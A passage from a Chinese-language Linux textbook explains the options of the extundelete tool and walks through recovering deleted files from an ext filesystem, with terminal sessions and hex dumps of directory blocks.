00c0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

00d0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

00e0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

00f0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

Inode is Allocated

Group: 0

File mode: 16877

Low 16 bits of Owner Uid: 0

Size in bytes: 4096

Access time: 1294653695

Creation time: 1294653694

Modification time: 1294653694

Deletion Time: 0

Low 16 bits of Group Id: 0

Links count: 3

Blocks count: 8

File flags: 0

File version (for NFS): 0

File ACL: 0

Directory ACL: 0

Fragment address: 0

Direct blocks: 9233, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0

Indirect block: 0

Double indirect block: 0

Triple indirect block: 0

File name　　　　　　　　　| Inode number | Deleted status

Directory block 9233:

.　　　　　　　　　　　　2

..　　　　　　　　　　　　2

lost+found　　　　　　　　　　11

.jkp.sh.swp　　　　　　　　　12　　　Deleted

jkp.sh　　　　　　　　　　　13　　　Deleted

--block blk显示指定block的信息；

示例如下。

toor@nmb:～$ sudo extundelete --block 9233 /dev/sda3

WARNING: Extended attributes are not restored.

Loading filesystem metadata ... 149 groups loaded.

Block size: 4096

Contents of block 9233:

0000 | 02 00 00 00 0c 00 01 02 2e 00 00 00 02 00 00 00 | ................

0010 | 0c 00 02 02 2e 2e 00 00 0b 00 00 00 e8 0f 0a 02 | ................

0020 | 6c 6f 73 74 2b 66 6f 75 6e 64 00 00 0c 00 00 00 | lost+found......

0030 | 14 00 0b 01 2e 6a 6b 70 2e 73 68 2e 73 77 70 00 | .....jkp.sh.swp.

0040 | 0d 00 00 00 c0 0f 06 01 6a 6b 70 2e 73 68 68 2e | ........jkp.shh.

0050 | 73 77 78 00 00 00 00 00 00 00 00 00 00 00 00 00 | swx.............

……　　//省略部分

0fe0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

0ff0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................

Block 9233 is allocated.

Block 9233 is in group 0.

File name　　　　| Inode number | Deleted status

.　　　　　　　　2

..　　　　　　　2

lost+found　　　　　11

.jkp.sh.swp　　　　　12　　　Deleted

jkp.sh　　　　　　13　　　Deleted

--restore-inode ino[,ino,...]

恢复指定 inode 上的文件，恢复的文件被放置在执行命令 extundelete 的当前目录下的“RESTORED_FILES”目录中（extundelete会在当前目录下创建一个叫做“RESTORED_FILES”的目录）。被恢复的文件（file）有一个扩展名，那就是inode的号码；

示例如下。

toor@nmb:～$ sudo extundelete --restore-inode 13 /dev/sda3

WARNING: Extended attributes are not restored.

Loading filesystem metadata ... 149 groups loaded.

Loading journal descriptors ... 40 descriptors loaded.

Restored inode 13 to file RECOVERED_FILES/file.13

toor@nmb:～$ tree RECOVERED_FILES/

注意一下恢复后的文件名。看一下恢复的情况：

toor@nmb:～$ tree RECOVERED_FILES/

RECOVERED_FILES/

'-- file.13

0 directories, 2 files

--restore-file path/to/deleted/file

试图恢复一个给定文件名的文件，格式为“--restore-file dirname/filename”。

注意不要从“/”开始，但是要全路径；

示例如下。

toor@nmb:～$ sudo extundelete --restore-file sdv/df.sh /dev/sda3

WARNING: Extended attributes are not restored.

Loading filesystem metadata ... 149 groups loaded.

Loading journal descriptors ... 71 descriptors loaded.

Writing output to directory RECOVERED_FILES/

Restored inode 130820 to file RECOVERED_FILES/sdv/df.sh

toor@nmb:～$

toor@nmb:～$ tree RECOVERED_FILES/

RECOVERED_FILES/

'-- sdv

'-- df.sh

1 directory, 1 file

--restore-files filename

恢复一个文件列表中的文件。首先，要建立一个文件，在该文件中以同样的格式写入要恢复的文件，书写的格式如同“--restore-file”指定的格式，并将该文件保存为“filename”的文件名。然后再让 extundelete 命令来恢复这个文件并列出文件。这种方法的优点在于可以减少多次解析journal日志。

示例如下。

编写删除文件列表。注意，每一个要恢复的文件要单独一行。在下面的例子中，我们写了两个文件。

toor@nmb:～$ sudo vi /wd/recover

sdv/jhk.sh

sdv/w2.sh

"/wd/recover" 2 lines, 21 characters written

恢复并查看删除的文件。

toor@nmb:～$ sudo extundelete --restore-files /wd/recover　/dev/sda3

WARNING: Extended attributes are not restored.

Loading filesystem metadata ... 149 groups loaded.

Loading journal descriptors ... 72 descriptors loaded.

Writing output to directory RECOVERED_FILES/

Restored inode 130820 to file RECOVERED_FILES/sdv/jhk.sh

Restored inode 130821 to file RECOVERED_FILES/sdv/w2.sh

toor@nmb:～

toor@nmb:～$ tree RECOVERED_FILES/

RECOVERED_FILES/

'-- sdv

|-- jhk.sh

'-- w2.sh

1 directory, 2 files

--restore-all

尝试恢复所有的文件。extundelete 会尽可能恢复被删除之前的文件名，如果恢复不了以前的文件名，那么文件名就会以形式“file.NNNN”出现。

toor@nmb:～$ sudo extundelete --restore-all　/dev/sda3

WARNING: Extended attributes are not restored.

Loading filesystem metadata ... 149 groups loaded.

Loading journal descriptors ... 72 descriptors loaded.

Writing output to directory RECOVERED_FILES/

Searching for recoverable inodes in directory / ...

3 recoverable inodes found.

Looking through the directory structure for deleted files ...

Restored inode 130820 to file RECOVERED_FILES/sdv/jhk.sh

Restored inode 130821 to file RECOVERED_FILES/sdv/w2.sh

Restored inode 13 to file RECOVERED_FILES/hjb.shi

0 recoverable inodes still lost.

toor@nmb:～$ tree RECOVERED_FILES/

RECOVERED_FILES/

|-- hjb.shi

'-- sdv

|-- jhk.sh

'-- w2.sh

1 directory, 3 files

-j journal_dev

从指定的文件（device）中读取外部的journal。

-b blocknumber

当打开文件系统时，使用备份的superblock作为这里指定的blocknumber。

查看Superblock的备份块号的方法如下。

toor@nmb:～$ sudo mkfs.ext4 -n /dev/sda3

mke2fs 1.41.12 (17-May-2010)

Filesystem label=

OS type: Linux

Block size=4096 (log=2)

Fragment size=4096 (log=2)

Stride=0 blocks, Stripe width=0 blocks

1218224 inodes, 4869636 blocks

243481 blocks (5.00%) reserved for the super user

First data block=0

Maximum filesystem blocks=0

149 block groups

32768 blocks per group, 32768 fragments per group

8176 inodes per group

Superblock backups stored on blocks:

32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, 4096000

注意看最后三行黑体字。

-B blocksize

当打开文件系统的时候，在分区上使用指定的block大小来打开，数值单位为字节。




16.4 手动恢复举例


在这个实例中，我们对一块20G的硬盘进行删除数据的恢复，结合上一节的内容理解起来很容易。首先将硬盘接入机器，这可能需要你停止机器拔掉电源，然后接上硬盘，或是以USB的形式接入。在下面的讲述中，我们假设你已经将这些安置完毕。开机或是USB插入后要确定磁盘设备的设备号，在这里是sdb1。

第一步：检查superblock。

toor@nmb:～$ sudo extundelete --superblock /dev/sda1

WARNING: Extended attributes are not restored.

WARNING: EXT3_FEATURE_INCOMPAT_RECOVER is set.

The partition should be unmounted to undelete any files without further data loss.

If the partition is not currently mounted, this message indicates

it was improperly unmounted, and you should run fsck before continuing.

If you decide to continue, extundelete may overwrite some of the deleted

files and make recovering those files impossible. You should unmount the

file system and check it with fsck before using extundelete.

Would you like to continue? (y/n)

y

Inodes count: 1218224

Blocks count: 4869636

……　//省略部分

说明superblock没有损坏。接下来就可以恢复了。

第二步：恢复所有的删除文件。

如果能够记住删除前的文件名及目录还是使用“--restore-files filename”恢复更好一些，就不会将所有被删除的文件全部恢复了。

toor@nmb:～$ sudo extundelete　--restore-all　/dev/sda1

WARNING: Extended attributes are not restored.

Loading filesystem metadata ... 149 groups loaded.

Loading journal descriptors ... 1177 descriptors loaded.

Writing output to directory RECOVERED_FILES/

Searching for recoverable inodes in directory / ...

6 recoverable inodes found.

Looking through the directory structure for deleted files ...

Restored inode 12 to file RECOVERED_FILES/.No8.coc.swp

Restored inode 13 to file RECOVERED_FILES/No14.coc

Restored inode 14 to file RECOVERED_FILES/No13.coc

Restored inode 15 to file RECOVERED_FILES/No10.coc

Restored inode 16 to file RECOVERED_FILES/No9.coc

Restored inode 17 to file RECOVERED_FILES/No8.coc

0 recoverable inodes still lost.

查看恢复的结果。

toor@nmb:～$ tree RECOVERED_FILES/

RECOVERED_FILES/

|-- No10.coc

|-- No13.coc

|-- No14.coc

|-- No8.coc

'-- No9.coc

0 directories, 5 files

没错，这正是我们要找的结果。
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